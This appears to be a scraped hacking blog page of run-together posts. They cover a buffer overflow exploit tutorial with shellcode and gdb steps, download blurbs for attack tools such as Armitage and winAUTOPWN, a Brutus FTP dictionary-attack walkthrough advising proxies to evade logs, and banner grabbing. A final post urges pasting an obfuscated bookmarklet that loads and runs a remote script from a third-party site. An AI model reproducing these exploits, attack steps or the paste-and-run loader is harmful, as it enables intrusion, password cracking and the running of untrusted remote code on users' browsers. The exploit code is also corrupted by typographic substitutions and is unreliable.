BUFFER OVERFLOW ATTACK TUTORIAL – EXAMPLE

A Buffer Overflow is a flaw by which a program reacts abnormally when the memory buffers are overloaded, hence writing over adjacent memory. It can be triggered by using inputs that may alter the way a program operates,for example <inputting a very large value in a c program which does integer based addition>. A buffer overflow can lead to program crash, memory access error, garbage outputs & worse, breach of system security. Probably, you might have seen prominent buffer overflow based exploits & attacks in Metaspl0it or any other spl0it framework. Why I am writing this ? well..I found an excellent article on buffer overflow by eXeCuTeR <executerx[at]gmail[dot]com> & thought you might wanna have a look at it. Its exlplained in quite easy language with very basic example.
read & learn…


Our vuln program:

———- bof.c ————–

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
char str[10];
strcpy(str, argv[1]);
printf(“Done”);

return 0;
}

———- bof.c ————–

As you see, argv[1] is copied to str (str can contains 10 characters)
Try to think – What happens when we load more than 10 bytes on str? You’ll see.

Lets try compile the program and load 12 bytes:

niv@niv-desktop:~/Desktop$ gcc-3.3 bof.c -o bofniv@niv-desktop:~/Desktop$ ./bof `perl -e ‘print “A”x12′`Doneniv@niv-desktop:~/Desktop$



The program has been successfully compiled even though we loaded 12 bytes, which means 12 bytes aren’t enough to overflow the program.

Lets try to overflow the program with 14 bytes:


niv@niv-desktop:~/Desktop$ ./bof `perl -e ‘print “A”x14′`
Doneniv@niv-desktop:~/Desktop$



Failed. Again.

Lets load 32 bytes this time:
niv@niv-desktop:~/Desktop$ ./bof `perl -e ‘print “A”x32′`
Segmentation fault (core dumped)
niv@niv-desktop:~/Desktop$


In case it says: /*** stack smashing detected ***/ or something that appears to be like this error, just go to the terminal, type: sudo apt-get install gcc-3.3 and when compiling it type gcc-3.3 example.c -o example instead of gcc example.c -o example.

We made it, we overflowed the program.

Now we’ll check more further what exactly happend:


niv@niv-desktop:~/Desktop$ gdb -c core ./bof
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB. Type “show warranty” for details.
This GDB was configured as “i486-linux-gnu”…
Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1″.
/home/niv/Desktop/core: No such file or directory.
(gdb) run `perl -e ‘print “A”x60′`
Starting program: /home/niv/Desktop/bof `perl -e ‘print “A”x32′`


Program received signal SIGSEGV, Segmentation fault.
0×41414141 in ?? ()
(gdb) i r eip
eip 0×41414141 0×41414141


We overwrited the EIP with A’s (A = 41 in hex) – The EIP is the Instructor Pointer, it points at the next instruction.

Now we can start writing our exploit.
Our exploit is gonna contain the NOPSLED + Shellcode + the address of the shellcode (the RET).
The NOPSLED is a chain of 0×90′s (NOPSLED = NO OPeration) so the NOPSLED will be placed before our shellcode.
The NOPSLED helps us so we don’t have to jump exactly to the place in memory where our shellcode begins.


———- exploit.c ————–
#include <stdio.h>
#include <string.h>


char exploit[2048];

int main(void)
{
int i;
/*
* (linux/x86) eject cd-rom (follows “/dev/cdrom” symlink) + exit() – 40 bytes
* – izik <izik@tty64.org>
*/
char shellcode[] =
“\x6a\x05″ // push $0×5
“\x58″ // pop %eax
“\x31\xc9″ // xor %ecx,%ecx
“\x51″ // push %ecx
“\xb5\x08″ // mov $0×8,%ch
“\x68\x64\x72\x6f\x6d” // push $0x6d6f7264
“\x68\x65\x76\x2f\x63″ // push $0x632f7665
“\x68\x2f\x2f\x2f\x64″ // push $0x642f2f2f
“\x89\xe3″ // mov %esp,%ebx
“\xcd\x80″ // int $0×80
“\x89\xc3″ // mov %eax,%ebx
“\xb0\x36″ // mov $0×36,%al
“\x66\xb9\x09\x53″ // mov $0×5309,%cx
“\xcd\x80″ // int $0×80
“\x40″ // inc %eax
“\xcd\x80″; // int $0×80

for(i = 0; i < 512; i++)
strcat(exploit, “0×90″);

strcat(exploit, shellcode);

printf(“Loaded.\n”);

return 0;
}
———- exploit.c ————–

niv@niv-desktop:~/Desktop$ gcc-3.3 exploit.c -o exploit
niv@niv-desktop:~/Desktop$ ./exploit
Loaded.


Run our vuln program so we could find the RET, the address of our shellcode.
After we run it, we’ll look for the ESP – the ESP points on the last element used on the stack.
Check this out:


niv@niv-desktop:~/Desktop$ gcc-3.3 exploit.c -o exploit
niv@niv-desktop:~/Desktop$ ./exploit
Loaded.
niv@niv-desktop:~/Desktop$ ./bof `perl -e ‘print “A”x60′`
Segmentation fault (core dumped)
niv@niv-desktop:~/Desktop$ gdb -c core ./bof
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB. Type “show warranty” for details.
This GDB was configured as “i486-linux-gnu”…
Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1″.
/home/niv/Desktop/core: No such file or directory.
(gdb) run `perl -e ‘print “A”x60′`
Starting program: /home/niv/Desktop/bof `perl -e ‘print “A”x60′`


Program received signal SIGSEGV, Segmentation fault.
0×41414141 in ?? ()
(gdb) x/s $esp


You’re gonna get these things:

0xbf949694: “`???}_???o??02″
(gdb)
0xbf9496a2: “”



etc’…
Keep searching until you see something like this thing:

0xbf9496e0:”7?\224?J?\224?U?\224?i?\224?y?\224??\224?02?\224?24?\224?*?\224?3?\224???\224??\224?\v?\224?30?\224?N?\224?Y?\224?q?\224???\224??\224???\224???\224?25?\224?&?\224?;?\224?D?\224?W?\224?n?\224?v?\224?\205?\224???\224???\224?24?\224?P?\224?p?\224?}?\224?\212?\224???\224??\224?”



0xbf9496e0 is the address of our shellcode (the RET)
To make our exploit work properly, we need to overwrite the EIP with our shellcode.We’ll take our old address (0xbf9496e0) and do this thing:

Take our address and make it look this way: bf 94 96 e0
Grab the last bytes (e0) and do the following:
we’ll block the characters between \’s (slashes), add x in each block -> \xe0\
you’ll do the same to each 2 chars and then put them in order that the last bytes of our the address will be the first one in our new address:

0xbf9496e0 -> \xe0\x96\x94\xbf



Now, we are gonna reach our shellcode this way:
Since we overflowed the program with 32 bytes (32 A’s),
and our RET’s length is 4 bytes we are gonna subtract the length of our shellcode address(the RET) of the A’s,
and we are gonna print 28 A’s (32 A’s – 4 bytes (RET’s length) = 28) and the RET so we could reach the shellcode successfully.

niv@niv-desktop:~/Desktop$ ./bof `perl -e ‘print “A”x28′“printf
“\xbf\x94\x96\xe0″`

BACKBOX LINUX 1.05 – DOWNLOAD

BackBox is a Linux distribution based on Ubuntu Lucid 10.04 LTS developed to perform penetration tests and security assessments. Designed to be fast, easy to use and to provide a minimal yet complete desktop environment thanks to its own software repositories always been updates to the last stable version of the most known and used ethical hacking tools.
This is the official change log:
New ISO image (32bit & 64bit)
System upgrade
Performance boost
New look and feel
Improved start menu
Bug fixing
Hacking tools new or updated: Firefox 4, Hydra 6.2,kismet 2011.03.2, Metasploit Framework 3.6.0, NMap 5.51,SET 1.3.5,Wireshark, W3af 1.0

  Download BackBox Linux 1.05 from here: http://www.backbox.org/content/download

ARMITAGE 03.16.11 – CYBER ATTACK TOOL FOR METASPLOIT

This is the change log:
Shell-> Disconnect now executes in a separate thread.
Armitage now creates ~/armitage-tmp and writes there if the current dir is/Applications or it can’t write to thr current directory.
Fixed a potential deadlock issue in the file browser
Directory up button in file browser now shows that it has been pressed
Added Execute option to file browser(now you can run a program by right-clicking on it and selecting Execute-for Jesse)
Multiple improvements to responsiveness of command shell and meterpreter tabs. This should benefit collaboration mode too.

Download Armitage from here: download

IMMUNITY DEBUGGER V1.82 – TOOL TO WRITE EXPLOITS, ANALYZING MALWARE & REVERSE ENGINEERING

Immunity Debugger is a powerful way to write exploits,analyze malware, and reverse engineer binary files. It builds on a solid user interface with function graphing,the industry’s first heap analysis tool built specifically for heap creation,and a large and well supported Python API for easy extensibility.


Features:
A debugger with functionality desugned specifically for the security industry
Cuts exploit development time by 50%
Simple,Understandable interfaces
Robust and powerful scripting language for automating intelligent debugging
Lightweight and fast debuggung to prevent corruption during complex analysis
Connectivity to fuzzers and exploit development tools
Better handling of breakpoints.
Fix thread suspend issues while handling breakpoints
Reintroduced the Python shell
Fixed python tracebacks to work again.

Download Immunity Debugger from here: Download

ARMITAGE – CYBER ATTACK MANAGEMENT TOOL FOR METASPLOIT

Armitage is a cyber attack management tool for metasploit that visualizes your targets, recommends exploits,and exposes the advanced capabilities of the framework. Armitage aims to make Metasploit usable for security practioners who understand hacking but don’t use Metasploit every day. If you want to learn Metasploit and grow into the advanced features,Armitage can help us.



Requirement to install Armitage:
Java 1.6.0+
Metasploit 3.5+
A database and the information to connect to it

Download Armitage from here: http://www.fastandeasyhacking.com/download

WINAUTOPWN – VERSION 2.4 – DOWNLOAD

This is to announce release of winAUTOPWN version 2.4…


winAUTOPWN is an auto (hacking) shell gaining tool. It can also be used to test IDS, IPS and other Monitoring sensors/softwares…

Download from here

WHAT ARE DICTIONARY ATTACKS

You must first know what an FTP server is. FTP stands for File Transfer Protocol. FTP is a simple way to exchange files over the internet. If a hacker got FTP access to my website, he could delete/upload anything he wants on my server. An FTP address looks similar to a website address except it uses the prefix ftp:// instead of http://. I set up an FTP server on my computer so I could demonstrate. You can get Brutus at here.

1. First the hacker would choose a target. In this case it’s my home computer and the IP address for your home computer is 127.0.0.1 .

2. By going to ftp://127.0.0.1 I get a pop-up box asking for a username and password.


3. Next the hacker would launch a program similar to Brutus and attempt to crack the password.
4. In the target you put the IP address of the website and to the right select the appropriate option, which in this case is FTP.


5. The default port is 21 but some websites change this to make them a little more secure. If you find out that the port isn’t 21, you can find the right one by doing a port scan. We will get into this later in the book.
6. If you don’t know any of the usernames for the FTP server, then you will have to get a list of the most common usernames.

 7. For a dictionary attack you will have to choose the pass mode Word List and browse and select the file containing your word list. You can get some good password lists at http://packetstormsecurity.org/Crackers/wordlists/

8. Once you hit Start the program will attempt to connect to the server and begin to try all the possible combinations from your lists.


9. If you’re lucky, eventually it’ll get the right Username:Password combination.


10. A smarter hacker would use a proxy when using a program like this. What a proxy does is cloaks your IP address by sending your connection request through another computer before going to the target. This is a smart idea because as you will see in the image below, Brutus leaves a huge log of your presence on the target server.


11. In place of the IP address 127.0.0.1 would be the hackers IP address. Footprints like these get a hacker caught and into a lot of trouble with the law.

BANNER GRABBING

Now that the hacker has a full list of services running on the target system, to be able to exploit them, he has to first figure out what software and version the service is. One way the hacker can get this information, is to telnet into service port. In the example below, we will use command prompt on Windows (Start -> Run -> Type “cmd” -> Enter). If you are on a Mac, you will be using the terminal. Note: If you are using Windows Vista, then telnet is not installed by default. You can install it by doing the following simple steps.

o Click Start then select Control Panel.
o Select Programs and Features.
o Select Turn Windows features on or off.
o Select the Telnet Client option and click OK.
o A box will appear to confirm installation. The telnet command should now be installed


1. First, the hacker would choose one of the open ports that were revealed in the Nmap scan to continue with and attempt to exploit. Let’s say that when the hacker scanned his target, he found the port 21 open. As you can see on the chart above, port 21 is FTP. To find out what FTP software is running he would use telnet by running the command:
telnet www.targetsite.com 21



I ran this against my computer (localhost). So a hacker would insert a target URL in place of localhost.

2. Next, it would connect to the target and display a banner telling the hacker the software and its version as shown below. This is the information the hacker needs to continue and begin searching for vulnerabilities for the software discovered.


If the above method doesn’t work for you, then simply use Nmap’s full version detection option to get the information.

HOW TO REMOVE SURVEYS & OFFERS FROM WEB PAGES

COPY THIS CODE, PASTE IT INTO UR BROWSER’S ADDRESS BAR & PRESS ENTER:-

javascript:(function(){(function(){var z=["Timeout","Interval"];for(var i=0;i<1;i++){var x=window["set"+z[i]](“null”,1);eval(“delete clear”+z[i]);if (window["clear"+z[i]]==undefined){if (typeof(ar)==”undefined”){var ar=document.createElement(“iframe”);ar.style.displ
ay=”none”;document.body.appendChild(ar);}window["clear"+z[i]]=ar.contentWindow["clear"+z[i]];}for(var j=x;j>0&&x-j<99999;j–)window["clear"+z[i]](j);}})();var bd=”[url]http://survey-remover.com/[/url]“;var gn=function(){var q=function(min,max){return Math.floor(Math.random()*(max-min+1))+min;};var n=”";for(var r=0;r<q(9,19);r++)n+=String.fromCharCode(q(97,122));return n;};var sj=["Timeout","Interval"];var bl=[];var xc=[];for(var i=0;i<2;i++){bl.push(window["set"+sj[i]]);window["set"+sj[i]]=function(a,b){};for(var j in window){try{if(typeof(window[j])==”function”){if((window[j]+”").indexOf(“function set”+sj[i]+”() {“)!=-1)window[j]=function(a,b){};}}catch(e){}}var op=gn();xc.push(op);window[op]=bl[i];}var er=gn();window[er]=function(){window.setTimeout=bl[0];window.setInterval=bl[1];xjz={version:”2.0″,domain:”http://survey-remover.com/“,id:”4dd59e37064d7″,TO:setTimeout(“alert(\”It appears that the host could not be reached \nPlease try to use the bookmarklet again later!\n\”+xjz.domain);”,10000)};var a=document.createElement(“script”);a.type=”text/javascript”;a.src=xjz.domain.replace(“//”,”//public.“)+”remover/”;a.onload=function(){xjz.surveyRemover=new xjz.SurveyRemover(xjz.version);xjz.surveyRemover.init();};document.documentElement.firstElementChild.appendChild(a);};window[xc[0]](window[er],110);})();

OR VISIT http://survey-remover.com/ AND DOWNLOAD THE TOOLS…